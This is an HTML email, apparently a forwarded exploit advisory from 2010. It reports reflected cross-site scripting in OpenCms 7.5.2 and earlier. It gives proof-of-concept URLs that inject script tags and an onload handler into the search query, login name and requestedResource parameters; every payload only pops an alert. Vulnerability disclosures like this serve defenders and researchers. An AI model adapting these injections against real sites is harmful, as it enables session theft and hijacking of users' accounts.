<div class="gmail_quote"><br><br><span style="font-family:arial, sans-serif;font-size:13px;border-collapse:collapse"><div style="color:rgb(80, 0, 80)"><div><span style="border-collapse:separate;color:rgb(0, 0, 0);font-family:sans-serif;line-height:19px"># Exploit Title: Alkakon OpenCms 7.5.2 and below non persistent XSS.</span></div>

</div><div><font face="sans-serif"><span style="border-collapse:separate;line-height:19px"><div># Date: 17/02/2010</div><div># Author: EgoPL</div><div># Mail: <a href="mailto:dplrip@gmail.com" style="color:rgb(29, 30, 206)" target="_blank">dplrip@gmail.com</a></div>

<div># Software Link: <a href="http://www.opencms.org/en/" style="color:rgb(29, 30, 206)" target="_blank">http://www.opencms.org/en/</a></div><div># Version: 7.5.2 and below.</div><div># Tested on: Arch Linux + Apache Tomcat but it's OS independent.</div>

<div><br></div><div># Description of the webapp:</div><div><br></div><div>OpenCms is a complete and powerful open source web content management system. Alkacon Software GmbH is the official maintainer and the major contributor for OpenCms.</div>

<div><br></div><div>OpenCms provides powerful features especially suited for medium and large enterprise internet or intranet applications.</div><div><br></div><div>OpenCms is a Java and XML based system, completly build from open source components. This means OpenCms be deployed on almost any existing IT infrastructure without high licensing costs.</div>

<div><br></div><div># XSS by the Wikipedia.</div><div><br></div><div>Cross-site scripting holes are web application vulnerabilities which allow attackers to bypass client-side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.</div>

<div><br></div><div># Proof of concept </div><div><br></div><div>Search Form:</div><div><a href="http://www.example.com/opencms/search.html?action=search&searchPage=1&query=" style="color:rgb(29, 30, 206)" target="_blank">http://www.example.com/opencms/search.html?action=search&searchPage=1&query=</a>>"><script>alert("EgoPL says: Hi, I'm in a XSS")</script>&submit=GO</div>

<div><br></div><div>Login-form (not the admin login form and It's located in extra in the "demo_en" default installation of OpenCMS but really can be in the index or anywhere, name and requestedResource are vulnerable.)</div>

<div><br></div><div><br></div><div>Using name:</div><div><a href="http://www.example.com/opencms/extra/login.html?name=" style="color:rgb(29, 30, 206)" target="_blank">http://www.example.com/opencms/extra/login.html?name=</a><body+onload=alert("I'm at @EgoPL in Twitter")>&password=securepassword&action=login&requestedResource=%252Fdemo_en%252Fextra%252Fextranet%252Findex.html</div>

<div><br></div><div>Using requestedResource:</div><div><a href="http://www.example.com/opencms/extra/login.html?name=EgoPL&password=4815162342&action=login&requestedResource=" style="color:rgb(29, 30, 206)" target="_blank">http://www.example.com/opencms/extra/login.html?name=EgoPL&password=4815162342&action=login&requestedResource=</a>>"><script>alert("I love Lost, I saw today Lost 6x04")</script></div>

<div><br></div><div><span style="font-family:Arial;line-height:normal"><pre style="white-space:pre-wrap;word-wrap:break-word;font-size:10pt;font-family:monospace">  ______             _____  _      
 |  ____|           |  __ \| |     
 | |__    __ _  ___ | |__) | |     
 |  __|  / _` |/ _ \|  ___/| |     
 | |____| (_| | (_) | |    | |____ 
 |______|\__, |\___/|_|    |______|
          __/ |                    
         |___/             EOF</pre></span></div></span></font></div></span>
</div><br>